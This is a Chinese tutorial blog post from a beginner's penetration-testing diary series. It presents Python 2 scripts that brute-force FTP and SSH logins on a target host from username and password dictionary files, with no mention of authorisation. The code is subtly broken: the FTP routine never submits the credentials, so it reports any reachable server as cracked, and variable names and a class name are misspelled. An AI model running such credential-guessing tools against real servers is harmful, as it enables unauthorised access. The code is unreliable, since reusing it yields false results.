书接上文
菜鸟渗透日记35---python渗透测试编程之身份认证攻击1-密码字典
上回更新了密码字典,现在更新一下利用密码字典进行爆破操作。
目录
FTP暴力破解模块
基础知识介绍
使用Python实现FTP暴力破解
SSH暴力破解模块
基础知识介绍
使用Python实现SSH暴力破解
FTP暴力破解模块
基础知识介绍
FTP是文件传输协议的简称,用于在internet上控制文件的双向传输。同时,它也是一个应用程序,使用FTP必须要首先登陆,在远程主机上获得相应得权限后,方可下载或上传文件。也就是说,要想向哪一台计算机传送文件,就必须具有那一台计算机得授权后。简单来说就是需要拿到对方的用户ID和口令。否则无法传输文件。
简单了解一下FTP的工作流程
1)客户端去连接目标FTP服务器的21号端口,建立命令通道。服务器会向客户端发送“220 Free Float Ftp Server(version x.xx)”回应,括号内的信息回因为服务器版本不同而不同
2)客户端向服务器发送“USER 用户名\r\n”,服务器会返回“331 Please specify the password .\r\n”。
3)客户端向服务器发送“PASS 密码\r\n”,如果密码认证成功服务器会返回“230 User Logged in.\r\n”。
这就是FTP登陆的过程的前三个步骤,后面的步骤和破解模块编写联系不大。
使用Python实现FTP暴力破解
Python中默认提供了一个专门用来对FTP进行操作的ftplib模块,这个模块很精简,里面提供了一些用来实现登录、上传和下载的函数。
1)ftp.connect("IP","port") #连接FTP server和端口
2)ftp.login("user","password")#连接的用户名,密码
3)ftp.retrlines(command[,callback])#使用文本传输模式返回服务器上执行命令的结果。
下面使用ftplib函数按照登录流程进行操作。
import ftplib
使用ftplib创建一个FTP对象。
ftp=ftplib.FTP("192.168.65.142")
调用这个对象中的connect()函数去连接目标的21号端口
ftp.connect("192.168.65.142",21,timeout=10)
调用这个对象中的login()函数使用admin作为用户名,test作为密码来登陆。
ftp.login("admin","test")
如果登陆成功,就会得到一个230回应。
然后使用LIST命令,来展示FTP服务器中的文件。
ftp.retrlines('LIST')
最后使用quit()函数断开与FTP服务器的连接
ftp.quit()
综上,我们来编写一个使用指定用户名和密码登陆FTP服务器的Python程序。
def Login(FTPServer,userName,passwords):
try:
f = ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.retrlines('LIST')
f.quit()
print'We get right passwords!'
except ftplib.all_errors:
pass
现在,我们写了一个指定用户名和密码登陆的程序。接下来根据这个程序,我们来编写一个利用导入的字典包,进行暴力破解FTP服务的Python程序。
import sys
import ftplib
if len(sys.argv) != 4:
print "FTPbrute.py <FTPServer><UserDic><PasswordDic>"
sys.exit(1)
FTPServer = sys.argv[1]
UserDic = sys.argv[2]
PasswordDic = sys.argv[3]
def Login(FTPServer,userName,passwords):
try:
f = ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.retrlines('LIST')
f.quit()
print "The userName is %s and password is %s" %(userName,passwords)
except ftplib.all_errors:
pass
UserNmaeFile = open(userDic,"r")
PasswordFile = open(PasswordDic,"r")
for user in userNameFile.readlines():
for passwd in PasswordFile.readlines():
un = user.strip('\n')
pw = passwd.strip('\n')
Login(FTPServer,un,pw)
在执行过程中,只需要指定目标服务器地址、user的字典、passwd字典就可以。
SSH暴力破解模块
基础知识介绍
SSH是Secure Shell的缩写,有IETF的网络小组所指定。SSH是建立在应用层基础上的安全协议。SSH目前较为可靠,专为远程登陆会话和其他网络服务提供安全性的协议。利用SSH协议可以有效的防止远程管理过程中的信息泄露问题。
这个协议和Telnet协议一样,都是可以用来实现远程管理,但是Telnet由于在传输过程中没有任何的方式的加密,所以被认为是不安全的,而SSH则成为目前远程管理首选的协议。
相比FTP,除了功能上有所不同之外,SSH登陆的过程也要复杂一些,首先建立一个SSH服务器,推荐使用WinSSHD工具自行创建。这里省略掉。
相比于FTP登陆,在SSH登陆中,数据需要加密,这一点我们通过Python库:pxssh来实现。
主要函数如下:
1)connect(host,user,password):建立到目标机器的SSH连接。
2)send_command(s,cmd):发送命令
3)logout():释放该连接。
4)prompt():等待提示符,通常用于等待命令执行结束。
使用Python实现SSH暴力破解
利用这个pxssh库,只需要对前面的代码进行修改即可。
import sys
from pexpect import pxssh
if len(sys.argv) != 4:
print "SSHbrute.py <SSHServer><UserDic><PasswordDic>"
sys.exit(1)
SSHServer = sys.argv[1]
UserDic = sys.argv[2]
PasswordDic = sys.argv[3]
def Login(SSHServer,userName,passwords):
try:
s = pxssh.pxsh()
s.login(SSHServer,userName,passwords)
print "The userName is %s and password is %s" %(userName,passwords)
except :
print '[-] Error Connecting'
UserNmaeFile = open(userDic,"r")
PasswordFile = open(PasswordDic,"r")
for user in userNameFile.readlines():
for passwd in PasswordFile.readlines():
un = user.strip('\n')
pw = passwd.strip('\n')
Login(SSHServer,un,pw)
pxssh类存在于pexpect模块里,如果KaliLinux2中已经安装此类但是没有pxssh类,建议使用命令。
pip install --upgrade pexpect
进行更新即可。